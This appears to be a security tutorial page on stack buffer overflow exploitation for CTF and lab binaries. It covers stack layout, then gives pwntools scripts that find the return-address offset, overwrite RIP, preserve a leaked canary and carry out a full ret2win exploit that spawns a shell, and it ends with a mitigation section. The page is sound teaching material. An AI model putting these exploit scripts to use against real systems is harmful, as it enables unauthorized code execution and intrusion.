Stack Buffer Overflow
The stack buffer overflow is the classic binary-exploitation vulnerability: a program copies attacker-controlled data into a fixed-size buffer on the stack without checking the size, so writing too much overwrites what’s after the buffer —including the function’s return address. By controlling that address, you control RIP and, with it, the execution flow.
Threat model
Section titled “Threat model”The attacker supplies a string longer than the destination buffer. The typical bug is in functions that copy without a bound:
gets(buf)— has no bound by design; always unsafe.strcpy(buf, user),sprintf(buf, ...)— copy up to the source\0.read(0, buf, N)withNlarger than the real size ofbuf.
Everything below is authorized lab/CTF material: your own binaries or in-scope challenges.
Theory: how it works
Section titled “Theory: how it works”Inside a function, the local buffer, the saved RBP, and the return address live together on the stack. The stack grows toward low addresses, but memcpy/read write toward high addresses, so an overflowing buffer first clobbers the saved RBP and then the return address:
flowchart TD
subgraph Before["Healthy stack"]
A1["buf[64]"] --> B1["saved RBP"] --> C1["retaddr → main+N"]
end
subgraph After["After the overflow"]
A2["AAAAAAAA...(64)"] --> B2["AAAAAAAA"] --> C2["p64(YOUR_ADDRESS)"]
end
C2 -.->|"on ret, RIP = YOUR_ADDRESS"| R["controlled RIP"]
On ret, the CPU does pop rip off the top of the stack: if you placed your address there, you redirect execution.
Step 1: find the offset
Section titled “Step 1: find the offset”You need to know how many bytes lie from the start of the buffer to the return address. pwntools’s De Bruijn cyclic pattern automates this:
from pwn import *context.binary = './vuln'
io = process('./vuln')io.sendline(cyclic(200)) # unique 200-byte patternio.wait()core = io.corefile # crash dumpoffset = cyclic_find(core.read(core.rsp, 8)) # exact offset to RIP/RSPlog.info('offset = %d', offset)In GDB with pwndbg: cyclic 200, run, and on the crash cyclic -l $rsp gives the offset.
Step 2: control RIP
Section titled “Step 2: control RIP”from pwn import *offset = 72io = process('./vuln')io.sendline(b'A'*offset + p64(0xdeadbeef)) # overwrite RIPio.wait()# if the crash shows RIP == 0x00000000deadbeef -> you have controlStep 3: where to jump (depending on protections)
Section titled “Step 3: where to jump (depending on protections)”- No NX (executable stack): put shellcode on the stack and jump to it, with a NOP sled to relax precision (see Shellcode).
- ret2win (CTF): if a “winner” function exists in the binary, jump straight to it.
- With NX (normal today): you can’t execute the stack → ROP or ret2libc.
Bypassing mitigations
Section titled “Bypassing mitigations”- Stack canary: a sentinel value sits before the return address; if you clobber it,
__stack_chk_failaborts the program. You must leak it (via format string or a leak) and include it intact in the payload:
payload = b'A'*offset_canary # padding up to the canarypayload += p64(canary) # leaked canary, intactpayload += b'B'*8 # saved RBPpayload += p64(ret_addr) # controlled return address- ASLR/PIE: addresses change every run → you need a leak to compute the real ones.
- NX: no shellcode on the stack → ROP.
The real modern exploit chains: leak (bypass ASLR) → intact canary → ROP (bypass NX).
Exploitation (lab): a complete ret2win
Section titled “Exploitation (lab): a complete ret2win”The most instructive CTF case: a win() function that gives the flag or a shell and is never reached by normal flow.
from pwn import *context.binary = elf = ELF('./vuln')
io = process('./vuln')offset = 72win = elf.symbols['win'] # address of the winner function
payload = flat(b'A'*offset, p64(win))io.sendline(payload)io.interactive() # enjoy the shell / read the flagIf win() takes arguments (e.g. it needs a specific value in RDI), add a pop rdi ; ret gadget in front, just like in ROP. If the libc is modern and win() calls system, you may need an extra ret to align the stack to 16 bytes before the call (a movaps requirement).
Mitigations / Blue Team
Section titled “Mitigations / Blue Team”- Stack canaries (
-fstack-protector-strong): detect the overflow before theret. - NX/DEP: a non-executable stack blocks direct shellcode.
- ASLR + PIE: randomize addresses and force a leak.
- Safe functions:
fgets/snprintfwith a size; nevergets/strcpy/sprintfwithout a bound. - FORTIFY_SOURCE (
-D_FORTIFY_SOURCE=2), compile with-Wall -Wextra, sanitizers (ASan) and fuzzing (AFL++) to catch the bug earlier.
Checklist
Section titled “Checklist”- Identify the buffer and the unchecked copy
- Find the offset to
RIP(cyclic) - Confirm control of
RIP(crash with a controlled value) -
checksec: NX/canary/PIE present - Choose a strategy: shellcode / ret2win / ret2libc / ROP
- Bypass the canary (leak) and ASLR/PIE (leak)
- Build the payload with pwntools (
flat/p64) - Shell/flag locally → remote